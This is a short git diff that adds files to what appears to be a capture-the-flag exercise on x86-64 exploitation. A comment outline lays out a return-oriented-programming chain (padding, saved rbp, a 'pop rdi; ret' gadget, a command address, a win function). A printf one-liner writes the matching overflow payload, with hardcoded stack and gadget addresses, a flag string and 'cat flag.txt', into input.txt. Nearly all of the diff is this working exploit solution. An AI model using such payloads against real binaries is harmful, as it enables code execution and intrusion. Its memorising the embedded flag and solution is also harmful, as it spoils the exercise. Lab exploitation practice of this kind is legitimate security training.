diff --git a/4/level3/input.txt b/4/level3/input.txt
new file mode 100644
index 0000000..deb02dd
Binary files /dev/null and b/4/level3/input.txt differ
diff --git a/4/level3/test b/4/level3/test
new file mode 100644
index 0000000..7f39288
--- /dev/null
+++ b/4/level3/test
@@ -0,0 +1,7 @@
+padding
+saved rbp
+gadget address (pop rdi, ret)
+command address (going to rdi)
+win function address (to be called with command addr in rdi as parameter)
+
+printf 'hacklab{w3lc0m3_t0_x86_64_explo1t4t1on_I0vGIviy}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\xc3\x12\x40\00\00\00\00\00\x08\x20\x40\00\00\00\00\00\x96\x11\x40\00\00\00\00\00\ncat flag.txt\n' > input.txt